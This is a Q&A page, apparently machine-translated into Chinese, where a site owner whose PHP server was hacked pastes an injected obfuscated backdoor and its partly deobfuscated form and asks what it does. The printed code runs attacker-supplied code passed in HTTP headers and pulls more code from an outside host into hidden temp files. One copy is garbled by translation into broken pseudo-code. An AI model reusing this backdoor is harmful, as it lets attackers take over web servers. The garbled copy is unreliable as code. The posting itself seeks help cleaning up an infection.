Php 我的服务器被黑客攻击,一个编码代码被注入。我不知道这个代码的目的是什么?请任何人帮帮我

Php 我的服务器被黑客攻击,一个编码代码被注入。我不知道这个代码的目的是什么?请任何人帮帮我,php,encode,Php,Encode,我的php文件遭到黑客攻击,有人在我的文件中注入了一些编码文本。任何人都可以帮助我理解这段代码实际上在做什么。我无法破译这个 这是经过编码的代码段 /*versio:3.01*/$II11=110426;if (!function_exists('I11lIl1I')){$GLOBALS['II11'] = '!aW5pX3NldA$_vYWxsb3dfdXJsX2ZvcGVuZGlzcGxheV9lcnJvcnM*vZnRwLzIwMTMwOQMy4wMQasMUVEwT1EwMDAwMDBR

我的php文件遭到黑客攻击,有人在我的文件中注入了一些编码文本。任何人都可以帮助我理解这段代码实际上在做什么。我无法破译这个

这是经过编码的代码段

/*versio:3.01*/$II11=110426;if (!function_exists('I11lIl1I')){$GLOBALS['II11'] = '!aW5pX3NldA$_vYWxsb3dfdXJsX2ZvcGVuZGlzcGxheV9lcnJvcnM*vZnRwLzIwMTMwOQMy4wMQasMUVEwT1EwMDAwMDBRME9RMFEoaHR0cDovLw%WSFRUUFMmb2ZmE= PaHR0cHM6Ly8gSFRUUF9IT1NUQNvdW5pb24ufcc2VsZWN0UkVRVUVTVF9VUkkU0NSSVBUX05BTUU&kBl!xUVVFUllfU1RSSU5HKs cPwmNZGV0ZXJtaW5hdG9ypZLg*(LmxvZwoHkUSFRUUF9ZX0FVVEgYmFzZTY0X2RlY29kZQ?dmVyc2lvMLQ{%LXBocAoSFRUUF9FWEVDUEhQ=b3V0b2s{SFRUUF9VU0VSX0FHRU5ULAHICZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAS#ox~YQ^g=c2V6cW8ubmV0VtZmFzdGFkZHouY29tL3czLnBocD91PQmjlJms9!JnQ9cGhwJnA9!^*XJnY9ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYrdE8yMG9RZnBWbGhaQXRCY2ZPSFhKOEZFVER3UktOU1FpVnFoWlpxYk11VmgwN3NqZUZDdkh1WjJZdnRnTk9oZmpCWm1ibnNuUDVaaHhIeERoYXN5aE8yZHFnYThaWnZvblRGYzl5YXBvdkpBWjJ0RXRESG1kcHdKN2pnaGVHNXppSmx6aWU0YlNJWTV0NGJSS25jVkF3WHVQMVdxUmptM0RESERld3U4QjJ6b0J0QS91VmFCUGtxWnN5SGtRc2k0emp1ZTM3L3J4RlRvNDlrSEk4NHBMWi9jMk5TVjVJUmRuRVlaN3hlTU1NbnU4WUtNc1ozK1VwcWF0b012R1Q4U2hPbUlHYUVnZGVBZ2ZIOHhJVGxYdEtPUTEzZVVMSHlBTmFBaFRGczJnQVQrTEF3Z0NKNTRGQ2c2NlNKSHNLUUNpSXNpMUxxVWxjME9KUTlGazVOa0d6ZURzSXM1U3pGQUpLSHpuZm5yZmJsRmhFK1NOUGFOVWk5T1RKalg2R1ZEeURKUVZyU29weUVaTnhQUGR0ZSs2RHR4TkZOVUFVcUJDSytkNGJJQ1habG9zSFFsYkVreXNtZTJZaHNDWkswRkJxVytUeWZuSGozeTREK05jaUgvQTkzS0hyaC9WY1R5OCtUUmN0RXEzZ2JYKzl1Wmd1N3hlejVlSmlkbmVGRWlybGh3VXUvZGxzZXJsY2VwK24vdjJ5UlFhbWVDdVdvQXlQZUxhV1ExV1k4U0JNc29MVnFCaHd0dG55UDRZU2hqQlhhaWdkdityc0txck9GSmFxckVFMEZ4VlorQXZyb3FxNmtZMlZCMGNuYWVGVjIvYUIwbGMyZGYzS2lzZmVrZWJJZmtlQTI5RjJoMFdnVzRiK04xMlNGNVdGVjJwaEdvcGY1SHE1dkcwN2xnMkU3L24zRlA1ZFp3VS9KM0I0VVM2OUNrWlpMMWhGdDllM2dYOW4wVGExOFBobHVyanovRm1EMGZ1QzVhY1hQNkdtejhHNGxCZjZ0TTZuUjJ5NW82WW1WeTh5eWNrSk1kNDBOVG10MlArUWpsbEZ3OEtvUWkvVnZIQTZJOUVvazBoblVXT0FEQzltZ2oxdmsyek5ERm82MTlJcTRkNHVSYWhTdDcvWkR4V294SnNHT1hsUDJIeDlqelBaamtPVVJIdUNkdlhPQkdHR2hZOFpvVjhEYWltbVJjL0ZHZmtxUVh2QXRYM2NRc2ZtdjFrdW5iUG5ab1VxeDhIZGRBR3ArYVpZRHloNmpMM3NKRzRKdS8wK0JLaG55Z0tDZEZlY3dabnFqcmtOZjM3RkdJNEF5THRheEttSk9IWkhEQUJacTNFaG9xYmRxRzdoSkJpYUQzcWFUQTVmSVVjdXFZZ2QwTjR6WmJMZkdPNUNqemlPQ3JsaVcyN0JjNTRCL2tKOG1vejAwTnVPaWVtTXNweXR3a2Rvc0FBYlpWVVFsUUwzM3lvLzZDeW8zR1lDWEpIWXFwVDFoK2d4d2dCcStLYkVIMm8rRG9aaXVGV0lmVkFYM2h4OVROY3JlR1VjSFF6MUVOUGJ4MWdqWWh6bUMreDd6ejZ6SlJzVGVqQ2ZIWVF0Wi9BQkkxWXRtNTB1U0hWTUdBME5oa3VWNC8wT3dpSEpBWGVEZFp5ekVGYVNQNGJxZlVCWkY0anBDaUFpQ0s2OG0ya1FtTlluYndGZzd5Kytnb1hiaThVRkhGVkIyOWoxRjNtKyttTVEybDZ6MyszaWNRUE5TOXQ4czIxYkVVemkwMTBhUDFjazczS3FLWlhIZFBuNWxqN3NVNllsYVRyN1VyK2hmNEpYZXhRbElPeWc5bko1MkFHNHJOWUJsdyttcHQ1SkFCamsxZkxuMC9aVUxROXRLVlFjNElaUTVReDRleld2QW9KVmo2M3UrNnJZajlTSVUwU3hTWWlqNVRaR1ZxNCtSZkNVeDN6MUkyRjdrdElaWENna2NVeCtnUDFmR2lYTGNTbXVqVVZoaXhaSnF1bUlZQS93OGtMa2VtclVpcWt2NmtWdmo3ckRCTlRidnFzUm9hbkd5eGFSZTVKdno5M0padDNYTmkwMTdCUStXZ29PRWY0QXoyRmxXek8zcVN5dHlybCtGeXZkVXRySGYvRytWQ25RRmJneVlKcGExem1VNkh3QVFEc0lFUGdxMTFWbTFmUG1jN3VDa2M0SUVSQ25veHc5YXNMc3phbHFRYmR4TzVFMUtDSlJjUnhiUGxBT2x6cWpoMTVXdXd1TVJkOVZialM1M2UyVVVBS2ZFT3ozS3RGU0gvU3hPOElSMGFwZ3Bvc2czelZsVlR6SDNKQUZBbHNaM0hBZ3VGZTRZNDdseXVVaFlmTDNxZEh0RGNSM3pON1UwT3REZFd1QXQvWWNHY0xUK2pDK1pKdmhKdVMvblNuQ2hWYkpQWEpkNFozb0h0QWgvSjFFY2w4OFdCTTFtNzJ1U0l3c0pyWE9UM2JZVVNqWk9CUExic0J0RHZ1WUdjbzJMTmU0ZjVtd2lIQnFLUi9WRDZrZGZvaWxybHkwcEtEY3NESGM3aEtXdDcyKzE0Z2h2N3pLNnNmczgyd1hQaHIxamdCZ0RKUGRtZ1ZaR3JJOVRxM2pkV0xoTXd1dFNlUlJlN25FKzFwNCttSUJxRWVzZHlZS1VIZldXeWRNdGI0RHB0UUNxVWh5SmNJRm05UUdYVzhnVnl4TDNhb1MxaHVKaFVZRFE1MHhGSTY5NzZpKzNaVWlzZ2ZGVWo2WFMvbTdyMWdVZ0dXMStwQWROd1ZWb3EvNk5EbU1UR3EzK2g4cWFYNkIiKSkpOwWn=&kcHJlZ19yZXBsYWNl';function I11lIl1I($a, $b){$c=$GLOBALS['II11']; $d=pack('H*','6261736536345f6465636f'.'6465'); return $d(substr($c, $a, $b));};$QO0000QQ0 = I11lIl1I(3374, 16);$QO0000QQ0("/Q0QO00QOO/e", I11lIl1I(507, 2862), "Q0QO00QOO");};
开始是这样的:

$II11 = 110426;
if (!function_exists('I11lIl1I')) {
    $GLOBALS['II11'] =   'PAYLOAD';

    function I11lIl1I($a, $b) {
        $c = $GLOBALS['II11'];
        $d = pack('H*', '6261736536345f6465636f' . '6465');
        return $d(substr($c, $a, $b));
    };
    $QO0000QQ0 = I11lIl1I(3374, 16);
    $QO0000QQ0("/Q0QO00QOO/e", I11lIl1I(507, 2862), "Q0QO00QOO");
};
if (!defined("determinator")) {
  if (function_exists(I11lIl1I(1, 10))) { 
    @ini_set(I11lIl1I(14, 20), 1);
    @ini_set(I11lIl1I(34, 19), 0);
  }

  function w3net_feof($Q0OOOQ, &$I1lI1I = NULL) {
    $I1lI1I = microtime(true);
    return feof($Q0OOOQ);
  }

  function w3net_getfile($I1ll11, $I11IIl) {
    $IIlI1I = "curl";
    $I1IIll = $IIlI1I."_init";
    if (@ini_get("allow_url_fopen") == "1") {
      return @file_get_contents("http://" . $I1ll11 . $I11IIl. "&w=fgc");
    } elseif (function_exists($I1IIll)){
      $QO00QO = @$I1IIll();
      $QOOOQQ = $IIlI1I."_setopt";
      $IIl11I = $IIlI1I."_exec";
      @$QOOOQQ($QO00QO, CURLOPT_URL, "http://" . $I1ll11 . $I11IIl. "&w=cu");
      @$QOOOQQ($QO00QO, CURLOPT_HEADER, false);
      @$QOOOQQ($QO00QO, CURLOPT_RETURNTRANSFER, true);
      @$QOOOQQ($QO00QO, CURLOPT_CONNECTTIMEOUT, 6);
      $IIIl1I = @$IIl11I($QO00QO);
      @curl_close($QO00QO);
      if (empty($IIIl1I)) {
        $IIIl1I = "";
      }
      return $IIIl1I;
    } else {
      $Q0OOOQ = @fsockopen($I1ll11, 80, $Il111l, $Q000O0, 5);
      if ($Q0OOOQ) {
        $I111lI = "";
        $I1lI1I = NULL;
        @fputs($Q0OOOQ, "GET {$I11IIl}"."&w=sk HTTP/1.0"."\r\n"."Host: "."{$I1ll11}\r\n");
        $QOOOQO = PHP_OS."/".PHP_VERSION;
        @fputs($Q0OOOQ, "User-Agent: {$QOOOQO}\r\n\r\n");
        while(!w3net_feof($Q0OOOQ, $I1lI1I) && (microtime(true) - $I1lI1I) < 2) {
          $I111lI .= @fgets($Q0OOOQ, 128);
        }
        @fclose($Q0OOOQ);
        $Q000OQ = explode("\r\n\r\n", $I111lI);
        unset($Q000OQ[0]);
        return implode("\r\n\r\n", $Q000OQ);
      }
    }
  }

  function w3net_output($I1I1lI, $I1lIll) {
    echo "Y_".$I1I1lI.":".$I1lIll."\r\n";
  }

  function php_server($Q0000Q){
    return @$_SERVER[$Q0000Q];
  }

  $IlI11l=I11lIl1I(55, 14);
  $I1lll1=I11lIl1I(69, 6);
  $Q0Q0QO=I11lIl1I(78, 23);
  $I1ll11=I11lIl1I(102, 10);
  if (isset($_SERVER[I11lIl1I(114, 7)])) {
    if (@$_SERVER[I11lIl1I(114, 7)] != I11lIl1I(122, 4)) { $I1ll11=I11lIl1I(130, 11); }
  }
  $I1ll11.=strtolower(@$_SERVER[I11lIl1I(142, 12)]);

  foreach ($_GET as $I1I1lI=>$I1lIll) {
    if (strpos($I1lIll,I11lIl1I(157, 7))) {
      $_GET[$I1I1lI]=I11lIl1I(167, 0);
    } elseif (strpos($I1lIll,I11lIl1I(167, 8))) {
      $_GET[$I1I1lI]=I11lIl1I(167, 0);
    }
  }

  if(!isset($_SERVER[I11lIl1I(175, 15)])) {
    $_SERVER[I11lIl1I(175, 15)] = @$_SERVER[I11lIl1I(190, 15)];
    if(isset($_SERVER[I11lIl1I(211, 16)])) {
      $_SERVER[I11lIl1I(175, 15)] .= I11lIl1I(231, 2) . @$_SERVER[I11lIl1I(211, 16)];
    }
  }

  function get_temp_directory() {
    $I11III=dirname(__FILE__).DIRECTORY_SEPARATOR;
    $Q0Q00Q = Array( "/dev/shm", "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $I11III."tmp", $I11III."wp-content/uploads", $I11III."wp-content/cache", );

    foreach ($Q0Q00Q as $Q0QOOO){ 
      if (!empty($Q0QOOO)){
        $Q0QOOO.=DIRECTORY_SEPARATOR;
        if (@is_writable($Q0QOOO)) {
          $I11III = $Q0QOOO; break;
        }
      }
    }

    return $I11III;
  }

  if (strlen($I1ll11) < 10) {
    define(I11lIl1I(235, 16), 0);

  } elseif ($Q0OO0O=$I1ll11.@$_SERVER[I11lIl1I(175, 15)]) {
    $QO0O0Q=@md5($I1ll11.PHP_OS.$I1lll1.$Q0Q0QO);
    $w3n_code=get_temp_directory().I11lIl1I(253, 2).$QO0O0Q;
    define(I11lIl1I(235, 16), $w3n_code);
    $IlIlII = $w3n_code.I11lIl1I(257, 6);
    if (@$_SERVER[I11lIl1I(267, 15)]==$QO0O0Q) {
      $QO0QQ0=I11lIl1I(282, 18);
      echo "\r\n";
      w3net_output(I11lIl1I(301, 8), $I1lll1.I11lIl1I(310, 2).$IlI11l.I11lIl1I(314, 6));
      if ($Q00OQO=$QO0QQ0(@$_SERVER[I11lIl1I(321, 16)])){
        @eval($Q00OQO);
        echo "\r\n";
        w3net_output(I11lIl1I(338, 4), I11lIl1I(342, 3));
      }
      exit(0);
    }
    $II11l1 = False;
    $Il11I1 = @strtolower(@$_SERVER[I11lIl1I(346, 20)]);
    foreach (explode(I11lIl1I(366, 2), I11lIl1I(371, 54)) as $QOOQOO) {
      if (strpos($Il11I1, $QOOQOO)!==False) {
        $Il1Il1 = @fopen($w3n_code.I11lIl1I(257, 6), I11lIl1I(430, 2));
        $Ill11I = @urlencode(@$_SERVER[I11lIl1I(175, 15)]);
        @fwrite($Il1Il1, time()."\t".$QOOQOO."\t".$Ill11I."\n");
        @fclose($Il1Il1);
        $II11l1=True;
        break;
      }
    }
    if (@is_file($w3n_code)) {
      @touch($w3n_code);
      @include_once($w3n_code);
    } elseif ($II11l1 === True) {
      $I1Il1I = Array(I11lIl1I(435, 12), I11lIl1I(449, 16));
      if (@touch($w3n_code)) {
        $Q0OO0O=@urlencode($Q0OO0O);
        $I11IIl = I11lIl1I(465, 14).$Q0OO0O.I11lIl1I(482, 4).$QO0O0Q.I11lIl1I(487, 12).$IlI11l.I11lIl1I(503, 4).$I1lll1;
        $QOQOQO = w3net_getfile($I1Il1I[0], $I11IIl);
        @touch($w3n_code);
      }
    }
  } else {
    define(I11lIl1I(235, 16), 1);
  }
}
女巫变成这样:

if (!defined("determinator")) {
    if (function_exists(I11lIl1I(1, 10))) {
        @ini_set(I11lIl1I(14, 20), 1);
        @ini_set(I11lIl1I(34, 19), 0);
    }

    function w3net_feof($Q0OOOQ, &$I1lI1I = NULL) {
        $I1lI1I = microtime(true);
        return feof($Q0OOOQ);
    }

    function w3net_getfile($I1ll11, $I11IIl) {
        $IIlI1I = "curl";
        $I1IIll = $IIlI1I . "_init";
        if (@ini_get("allow_url_fopen") == "1") {
            return @file_get_contents("http://" . $I1ll11 . $I11IIl . "&w=fgc");
        } elseif (function_exists($I1IIll)) {
            $QO00QO = @$I1IIll();
            $QOOOQQ = $IIlI1I . "_setopt";
            $IIl11I = $IIlI1I . "_exec";
            @$QOOOQQ($QO00QO, CURLOPT_URL, "http://" . $I1ll11 . $I11IIl . "&w=cu");
            @$QOOOQQ($QO00QO, CURLOPT_HEADER, false);
            @$QOOOQQ($QO00QO, CURLOPT_RETURNTRANSFER, true);
            @$QOOOQQ($QO00QO, CURLOPT_CONNECTTIMEOUT, 6);
            $IIIl1I = @$IIl11I($QO00QO);
            @curl_close($QO00QO);
            if (empty($IIIl1I)) {
                $IIIl1I = "";
            } return $IIIl1I;
        } else {
            $Q0OOOQ = @fsockopen($I1ll11, 80, $Il111l, $Q000O0, 5);
            if ($Q0OOOQ) {
                $I111lI = "";
                $I1lI1I = NULL;
                @fputs($Q0OOOQ, "GET {$I11IIl}" . "&w=sk HTTP/1.0" . "\r\n" . "Host: " . "{$I1ll11}\r\n");
                $QOOOQO = PHP_OS . "/" . PHP_VERSION;
                @fputs($Q0OOOQ, "User-Agent: {$QOOOQO}\r\n\r\n");
                while (!w3net_feof($Q0OOOQ, $I1lI1I) && (microtime(true) - $I1lI1I) < 2) {
                    $I111lI .= @fgets($Q0OOOQ, 128);
                } @fclose($Q0OOOQ);
                $Q000OQ = explode("\r\n\r\n", $I111lI);
                unset($Q000OQ[0]);
                return implode("\r\n\r\n", $Q000OQ);
            }
        }
    }

    function w3net_output($I1I1lI, $I1lIll) {
        echo "Y_" . $I1I1lI . ":" . $I1lIll . "\r\n";
    }

    function php_server($Q0000Q) {
        return @$_SERVER[$Q0000Q];
    }

$IlI11l = I11lIl1I(55, 14);
    $I1lll1 = I11lIl1I(69, 6);
    $Q0Q0QO = I11lIl1I(78, 23);
    $I1ll11 = I11lIl1I(102, 10);
    if (isset($_SERVER[I11lIl1I(114, 7)])) {
        if (@$_SERVER[I11lIl1I(114, 7)] != I11lIl1I(122, 4)) {
            $I1ll11 = I11lIl1I(130, 11);
        }
    } $I1ll11.=strtolower(@$_SERVER[I11lIl1I(142, 12)]);
    foreach ($_GET as $I1I1lI => $I1lIll) {
        if (strpos($I1lIll, I11lIl1I(157, 7))) {
            $_GET[$I1I1lI] = I11lIl1I(167, 0);
        } elseif (strpos($I1lIll, I11lIl1I(167, 8))) {
            $_GET[$I1I1lI] = I11lIl1I(167, 0);
        }
    } if (!isset($_SERVER[I11lIl1I(175, 15)])) {
        $_SERVER[I11lIl1I(175, 15)] = @$_SERVER[I11lIl1I(190, 15)];
        if (isset($_SERVER[I11lIl1I(211, 16)])) {
            $_SERVER[I11lIl1I(175, 15)] .= I11lIl1I(231, 2) . @$_SERVER[I11lIl1I(211, 16)];
        }
    }

    function get_temp_directory() {
        $I11III = dirname(__FILE__) . DIRECTORY_SEPARATOR;
        $Q0Q00Q = Array("/dev/shm", "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $I11III . "tmp", $I11III . "wp-content/uploads", $I11III . "wp-content/cache",);
        foreach ($Q0Q00Q as $Q0QOOO) {
            if (!empty($Q0QOOO)) {
                $Q0QOOO.=DIRECTORY_SEPARATOR;
                if (@is_writable($Q0QOOO)) {
                    $I11III = $Q0QOOO;
                    break;
                }
            }
        } return $I11III;
    }

if (strlen($I1ll11) < 10) {
        define(I11lIl1I(235, 16), 0);
    } elseif ($Q0OO0O = $I1ll11 . @$_SERVER[I11lIl1I(175, 15)]) {
        $QO0O0Q = @md5($I1ll11 . PHP_OS . $I1lll1 . $Q0Q0QO);
        $w3n_code = get_temp_directory() . I11lIl1I(253, 2) . $QO0O0Q;
        define(I11lIl1I(235, 16), $w3n_code);
        $IlIlII = $w3n_code . I11lIl1I(257, 6);
        if (@$_SERVER[I11lIl1I(267, 15)] == $QO0O0Q) {
            $QO0QQ0 = I11lIl1I(282, 18);
            echo "\r\n";
            w3net_output(I11lIl1I(301, 8), $I1lll1 . I11lIl1I(310, 2) . $IlI11l . I11lIl1I(314, 6));
            if ($Q00OQO = $QO0QQ0(@$_SERVER[I11lIl1I(321, 16)])) {
                @eval($Q00OQO);
                echo "\r\n";
                w3net_output(I11lIl1I(338, 4), I11lIl1I(342, 3));
            } exit(0);
        } $II11l1 = False;
        $Il11I1 = @strtolower(@$_SERVER[I11lIl1I(346, 20)]);
        foreach (explode(I11lIl1I(366, 2), I11lIl1I(371, 54)) as $QOOQOO) {
            if (strpos($Il11I1, $QOOQOO) !== False) {
                $Il1Il1 = @fopen($w3n_code . I11lIl1I(257, 6), I11lIl1I(430, 2));
                $Ill11I = @urlencode(@$_SERVER[I11lIl1I(175, 15)]);
                @fwrite($Il1Il1, time() . "\t" . $QOOQOO . "\t" . $Ill11I . "\n");
                @fclose($Il1Il1);
                $II11l1 = True;
                break;
            }
        } if (@is_file($w3n_code)) {
            @touch($w3n_code);
            @include_once($w3n_code);
        } elseif ($II11l1 === True) {
            $I1Il1I = Array(I11lIl1I(435, 12), I11lIl1I(449, 16));
            if (@touch($w3n_code)) {
                $Q0OO0O = @urlencode($Q0OO0O);
                $I11IIl = I11lIl1I(465, 14) . $Q0OO0O . I11lIl1I(482, 4) . $QO0O0Q . I11lIl1I(487, 12) . $IlI11l . I11lIl1I(503, 4) . $I1lll1;
                $QOQOQO = w3net_getfile($I1Il1I[0], $I11IIl);
                @touch($w3n_code);
            }
        }
    } else {
        define(I11lIl1I(235, 16), 1);
    }
}
if(!defined(“definator”)){
如果(函数_存在(I11lIl1I(1,10))){
@ini_集(I11lIl1I(14,20,1);
@ini_集(I11lIl1I(34,19,0);
}
函数w3net_feof($Q0OOOQ,&$I1lI1I=NULL){
$I1lI1I=微时间(真);
退货费($Q0OOOQ);
}
函数w3net_getfile($I1ll11,$I11IIl){
$IIlI1I=“curl”;
$i1ill=$IIlI1I.“_init”;
如果(@ini\u get(“允许url\u fopen”)=“1”){
返回@file_get_contents(“http://.”$I1ll11.$I11IIl.&w=fgc”);
}elseif(函数_存在($i1ill)){
$QO00QO=@$I1IIll();
$QooQQ=$IIlI1I.“_setopt”;
$IIl11I=$IIlI1I.“_exec”;
@$qooqq($qooqo,CURLOPT_URL,“http://.”$I1ll11.$I11IIl.&w=cu”);
@$QooQQ($Qoo00QO,卷发头,假);
@$Qooqq($Qooqo,CURLOPT_RETURNTRANSFER,true);
@$qooqq($qooqo,CURLOPT_CONNECTTIMEOUT,6);
$IIIl1I=@$IIl11I($QO00QO);
@卷曲关闭($QO00QO);
如果(空($IIIl1I)){
$IIIl1I=“”;
}返回$IIIl1I;
}否则{
$Q0OOOQ=@fsockopen($I1ll11,80,$Il111l,$Q000O0,5);
如果($Q0OOOQ){
$I111lI=“”;
$I1lI1I=NULL;
@fputs($Q0OOOQ,“GET{$I11IIl}.”&w=sk HTTP/1.0“。\r\n“。Host:“{$I1ll11}\r\n”);
$QOOOQO=PHP_OS.“/”.PHP_版本;
@fputs($Q0OOOQ,“用户代理:{$QOOOQO}\r\n\r\n”);
而(!w3net_feof($Q0OOOQ,$I1lI1I)和&(微时间(真)$I1lI1I)<2){
$I111lI.=@fgets($Q0OOOQ,128);
}@fclose($Q0OOOQ);
$Q000OQ=爆炸(“\r\n\r\n”,$I111lI);
未结算($Q000OQ[0]);
返回内爆(“\r\n\r\n”,$Q000OQ);
}
}
}
函数w3net_输出($I1I1lI,$I1lIll){
回显“Y”.$I1I1LIL.:“$I1lIll.\r\n”;
}
函数php_服务器($Q0000Q){
返回@$_服务器[$Q0000Q];
}
$IlI11l=I11lIl1I(55,14);
$I1ll1=I11lIl1I(69,6);
$Q0Q0QO=I11lIl1I(78,23);
$I1ll11=I11lIl1I(102,10);
如果(isset($_服务器[I11lIl1I(114,7)]){
如果(@$_服务器[I11lIl1I(114,7)]!=I11lIl1I(122,4)){
$I1ll11=I11lIl1I(130,11);
}
}$I1ll11.=strtolower(@$_SERVER[I11lIl1I(142,12)];
foreach($\您获取为$I1I1LIL=>$I1lIll){
若有(STRPO($i1ill,I11lIl1I(157,7))){
$_GET[$I1I1lI]=I11lIl1I(167,0);
}其他(STRPO($11ill,11lil1i(167,8))){
$_GET[$I1I1lI]=I11lIl1I(167,0);
}
}如果(!isset($_服务器[I11lIl1I(175,15)]){
$_服务器[I11lIl1I(175,15)]=@$_服务器[I11lIl1I(190,15)];
如果(isset($_服务器[I11lIl1I(211,16)]){
$_服务器[I11lIl1I(175,15)]。=I11lIl1I(231,2)。@$_服务器[I11lIl1I(211,16)];
}
}
函数get_temp_directory(){
$I11III=dirname(_文件__).DIRECTORY_分隔符;
$Q0Q00Q=Array(“/dev/shm”、“/tmp/.font-unix”、“/tmp/.ICE-unix”、@$_-SERVER[“tmp”]、@$_-SERVER[“TEMP”]、@$_-ENV[“TMPDIR”]、@$_-ENV[“TEMP”]、“/tmp”、@ini-get(“上传”、$I11III.“tmp”、$I11III.“wp内容/上传”、$I11III.“wp内容/缓存”);
foreach($Q0Q00Q作为$Q0QOOO){
如果(!空($Q0QOO)){
$Q0QOOO.=目录分隔符;
如果(@is_可写($Q0QOOO)){
$I11III=$Q0QOOO;
打破
}
}
}返回$111iii;
}
如果(strlen($I1ll11)<10){
定义(I11lIl1I(235,16,0);
}elseif($Q0OO0O=$I1ll11.@$_服务器[I11lIl1I(175,15)]){
$QO0O0Q=@md5($I1ll11.PHP_OS.$i1ll1.$Q0Q0QO);
$w3n_code=get_temp_directory().I11lIl1I(253,2)。$QO0O0Q;
定义(I11lIl1I(235,16),$w3n_代码);
$IlIlII=$w3n_代码.I11lIl1I(257,6);
如果(@$_服务器[I11lIl1I(267,15)]==$qoo0q){
$QO0QQ0=I11lIl1I(282,18);
回显“\r\n”;
w3net_输出(I11lIl1I(301,8),$i1ll1.I11lIl1I(310,2)。$i11l.I11lIl1I(314,6));
如果($Q00OQO=$QO0QQ0(@$_服务器[I11lIl1I(321,16)]){
@评估(Q00OQO);
回显“\r\n”;
w3net_输出(I11lIl1I(338,4),I11lIl1I(342,3));
}出口(0);
}$II11l1=假;
$Il11I1=@strtolower(@$_SERVER[I11lIl1I(346,20)];
foreach(将(I11lIl1I(366,2),I11lIl1I(371,54))分解为$QOOQOO){
if(strpos($Il11I1,$QOOQOO)!=False){
$Il1Il1=@fopen($w3n_code.I11lIl1I(257,6),I11lIl1I(430,2));
$Ill11I=@urlencode(@$_服务器[I11lIl1I(175,15)];
@fwrite($Il1Il1,time()。“\t”。$QOOQOO.\t”。$Ill11I.\n”);
@fclose($1IL1);
$II11l1=正确;
打破
}
}if(@is_文件($w3n_代码)){
@触摸屏($w3n_代码);
@包括一次(w3n代码);
}elseif($II11l1==True){
$I1Il1I=Array(I11lIl1I(435,12),I11lIl1I(449,16));
如果(@touch($w3n_代码)){
$Q0OO0O=@urlencode($Q0OO0O);
$I11IIl=I11lIl1I(465,14)。$qoo0o.I11lIl1I(482,4)。$qoo0q.I11lIl1I(487,12)。$IlI11l.I11lIl1I(503,4)。$i1ll1;
$qoqo=w3net_getfile($I1Il1I[0],$I11IIl);
@触摸屏($w3n_代码);
}
}
}否则{
定义(I11lIl1I(235,16,1);
}
}
在那之后谁知道
<?php

function get_temp_directory() {
    $result=dirname(__FILE__).DIRECTORY_SEPARATOR;
    $tmpdirs = Array( "/dev/shm", "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $result."tmp", $result."wp-content/uploads", $result."wp-content/cache", );

    foreach ($tmpdirs as $tmpdir){ 
      if (!empty($tmpdir)){
        $tmpdir.=DIRECTORY_SEPARATOR;
        if (@is_writable($tmpdir)) {
          $result = $tmpdir; break;
        }
      }
    }

    return $result;
}

$version1="ftp/201309";
$version2="3.01";
$host="http://";
if (isset($_SERVER["HTTPS"])) {
  if (@$_SERVER["HTTPS"] != "off") { $host="https://"; }
}
$host.=strtolower(@$_SERVER["HTTP_HOST"]);

$hash=@md5($host.PHP_OS.$version2."QQ0OQ000000Q0OQ0Q");
$w3n_code=get_temp_directory().".".$hash;

echo "FILENAMES:<br>\n";
echo $w3n_code."<br>\n";
echo $w3n_code.".log<br>\n";

?>
    /*versio:3.01*/

    $II11=110426;

    if (!function_exists('I11lIl1I')){
      $GLOBALS['II11'] = '!aW5pX3NldA$_vYWxsb3dfdXJsX2ZvcGVuZGlzcGxheV9lcnJvcnM*vZnRwLzIwMTMwOQMy4wMQasMUVEwT1EwMDAwMDBRME9RMFEoaHR0cDovLw%WSFRUUFMmb2ZmE= PaHR0cHM6Ly8gSFRUUF9IT1NUQNvdW5pb24ufcc2VsZWN0UkVRVUVTVF9VUkkU0NSSVBUX05BTUU&kBl!xUVVFUllfU1RSSU5HKs cPwmNZGV0ZXJtaW5hdG9ypZLg*(LmxvZwoHkUSFRUUF9ZX0FVVEgYmFzZTY0X2RlY29kZQ?dmVyc2lvMLQ{%LXBocAoSFRUUF9FWEVDUEhQ=b3V0b2s{SFRUUF9VU0VSX0FHRU5ULAHICZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAS#ox~YQ^g=c2V6cW8ubmV0VtZmFzdGFkZHouY29tL3czLnBocD91PQmjlJms9!JnQ9cGhwJnA9!^*XJnY9ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYrdE8yMG9RZnBWbGhaQXRCY2ZPSFhKOEZFVER3UktOU1FpVnFoWlpxYk11VmgwN3NqZUZDdkh1WjJZdnRnTk9oZmpCWm1ibnNuUDVaaHhIeERoYXN5aE8yZHFnYThaWnZvblRGYzl5YXBvdkpBWjJ0RXRESG1kcHdKN2pnaGVHNXppSmx6aWU0YlNJWTV0NGJSS25jVkF3WHVQMVdxUmptM0RESERld3U4QjJ6b0J0QS91VmFCUGtxWnN5SGtRc2k0emp1ZTM3L3J4RlRvNDlrSEk4NHBMWi9jMk5TVjVJUmRuRVlaN3hlTU1NbnU4WUtNc1ozK1VwcWF0b012R1Q4U2hPbUlHYUVnZGVBZ2ZIOHhJVGxYdEtPUTEzZVVMSHlBTmFBaFRGczJnQVQrTEF3Z0NKNTRGQ2c2NlNKSHNLUUNpSXNpMUxxVWxjME9KUTlGazVOa0d6ZURzSXM1U3pGQUpLSHpuZm5yZmJsRmhFK1NOUGFOVWk5T1RKalg2R1ZEeURKUVZyU29weUVaTnhQUGR0ZSs2RHR4TkZOVUFVcUJDSytkNGJJQ1habG9zSFFsYkVreXNtZTJZaHNDWkswRkJxVytUeWZuSGozeTREK05jaUgvQTkzS0hyaC9WY1R5OCtUUmN0RXEzZ2JYKzl1Wmd1N3hlejVlSmlkbmVGRWlybGh3VXUvZGxzZXJsY2VwK24vdjJ5UlFhbWVDdVd